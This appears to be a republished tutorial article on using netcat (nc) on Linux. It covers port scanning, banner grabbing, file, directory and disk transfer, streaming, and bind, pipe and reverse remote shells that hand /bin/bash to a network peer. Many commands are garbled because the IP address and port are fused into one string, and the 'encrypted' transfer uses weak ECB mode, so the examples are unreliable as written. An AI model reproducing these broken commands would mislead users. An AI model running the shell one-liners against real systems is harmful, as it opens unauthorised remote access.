Operations 5 min read

Mastering Netcat (nc): The Ultimate Linux Tool for Reading and Writing Data

This article explains how to use netcat (nc) on Linux for TCP/UDP communication, covering command syntax, port scanning, banner grabbing, chat servers, file transfers, directory compression, encrypted streams, cloning devices, remote shells, and advanced piping techniques, all with concrete command examples.

ThinkingAgent
ThinkingAgent
ThinkingAgent
Mastering Netcat (nc): The Ultimate Linux Tool for Reading and Writing Data

Netcat (nc) is a versatile Unix utility that reads and writes data over TCP and UDP, enabling file transfers, chat sessions, media streaming, and more.

Command Format

nc [options] hostname port[ ... ]

Port Scanning

nc -z -v -n 172.16.71.233-25

Banner Grabbing

nc -v 172.16.71.23322

The command connects to an open port (22) and prints the service banner.

Chat Server / Client

# Server
nc -l 1666
# Client
nc 172.16.71.2331666

File Transfer (Server)

nc -l 1666 < file.txt

File Transfer (Client)

nc -n 172.16.71.2331666 > file.txt

Reverse File Transfer (Server)

nc -l 1666 > file.txt

Reverse File Transfer (Client)

nc -n 172.16.71.2331666 < file.txt

Directory Compression Transfer (Server)

tar -cvf - dir_name | nc -l 1666

Directory Compression Reverse Transfer (Server)

tar -cvf - dir_name | bzip2 -z | nc -l 1666

Encrypted Transfer (Server)

nc 172.16.71.2331666 | mcrypt --flush --bare -F -q -m ecb > file.txt

Encrypted Transfer (Client)

mcrypt --flush --bare -F -q -m ecb < file.txt | nc -l 1666

Both commands require the same password on each side.

Streaming Video

cat video.avi | nc -l 1666
nc 172.16.71.2331666 | mplayer -vo x11 -cache 3000

Cloning Device

# Server
dd if=/dev/vdb | nc -l 1666
# Client
nc -n 172.16.71.2331666 | dd of=/dev/vdb

Remote Shell (Server)

nc -l 1666 -e /bin/bash -i

Remote Shell (Client)

nc 172.16.71.2331666

Pipe Method (Server)

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1666 > /tmp/tmp_fifo

Pipe Method (Client)

nc -n 172.16.71.2331666

Reverse Remote Shell (Server)

nc -l 1666

Reverse Remote Shell (Client)

nc 172.16.71.2331666 -e /bin/bash

Specifying Source Port (Server)

nc -l 1666

Specifying Source Port (Client)

nc 172.16.71.2331666 -p 25

Ports below 1024 require root privileges; the command opens port 25 on the client for communication, otherwise a random port is used.

Specifying Source Address (Server)

nc -u -l 1666 < file.txt

Specifying Source Address (Client)

nc -u 172.16.71.2331666 -s 172.16.71.4 > file.txt

Further Study

man nc
Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

TCPLinuxUDPport scanningfile transferncnetcatremote shell
ThinkingAgent
Written by

ThinkingAgent

Sharing the latest AI-native technologies and real-world implementations.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.